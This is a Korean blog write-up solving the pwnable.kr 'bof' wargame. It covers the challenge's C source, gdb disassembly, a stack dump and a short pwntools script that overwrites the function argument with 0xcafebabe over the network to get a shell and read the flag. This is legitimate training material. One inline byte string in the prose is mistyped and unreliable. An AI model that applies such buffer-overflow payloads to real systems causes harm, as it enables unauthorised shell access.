Void
[pwnable.kr] bof 본문
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
소스코드를 보면 main()에서 0xdeadbeef를 인자로 가지고 func()를 호출한다. func()에서 gets() 로 입력을 받기 때문에 bof가 발생한다.
pwndbg> disass main
Dump of assembler code for function main:
0x5655568a <+0>: push ebp
0x5655568b <+1>: mov ebp,esp
0x5655568d <+3>: and esp,0xfffffff0
0x56555690 <+6>: sub esp,0x10
0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x5655569a <+16>: call 0x5655562c <func>
0x5655569f <+21>: mov eax,0x0
0x565556a4 <+26>: leave
0x565556a5 <+27>: ret
func()를 call하기 전에 [esp]에 0xdeadbeef를 넣는 것을 확인할 수 있다.
pwndbg> disass func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x78c
0x56555644 <+24>: call 0x56555645 <func+25>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0x56555650 <func+36>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x79b
0x56555664 <+56>: call 0x56555665 <func+57>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x7a3
0x56555672 <+70>: call 0x56555673 <func+71>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0x56555684 <func+88>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
또한 func+35에서 gets()를 call하기 전에 [esp]에 eax를 넣는 것을 확인할 수 있다. 32bit에서는 이렇게 인자를 전달하는데, 그렇다면 main()에서 [esp]에 0xdeadbeef를 넣기 때문에 여기를 오염시킬 수 있다.
pwndbg> x/10gx $eax
0xffffcdac: 0xf7fc7540ffffdfd7 0x00000000f7fc7000
0xffffcdbc: 0x0000000000000000 0x0000000000000000
0xffffcdcc: 0xffffffffc94a5b00 0xffffcdf8f7d8c96c
0xffffcddc: 0xdeadbeef5655569f 0x0000000000000000
0xffffcdec: 0x0000000000000000 0x0000000000000000
gets() 실행 전 스택 상황이다. eax+0x34에 deadbeef가 있는 것을 확인할 수 있다. 그럼 dummy*0x34+b'\xe\xfb\xea\xde'를 입력하면 key를 오염시킬 수 있다. 0xcafebabe를 저렇게 입력하는 이유는 여기서 찾을 수 있다.
https://pdw0412.tistory.com/25
[pwnable.kr] collision
$ ssh col@pwnable.kr -p2222col@pwnable.kr's password: ____ __ __ ____ ____ ____ _ ___ __ _ ____| \| |__| || \ / || \ | | / _] | |/ ]| \| o ) | | || _ || o || o )| | / [_ | ' / | D )| _/| | | || | || || || |___ | _] | \ | /| | | ` ' || | || _ || O || || [_
pdw0412.tistory.com
from pwn import *
#p=process('./bof')
p=remote('pwnable.kr', 9000)
payload=b'a'*0x34+p32(0xcafebabe)
p.sendline(payload)
p.interactive()
$ python3 ex.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
daddy, I just pwned a buFFer :)
'pwnable.kr' 카테고리의 다른 글
| [pwnable.kr] brain fuck (0) | 2025.01.19 |
|---|---|
| [pwnable.kr] flag (0) | 2025.01.19 |
| [pwnable.kr] collision (0) | 2025.01.19 |
| [pwnable.kr] fd (0) | 2025.01.18 |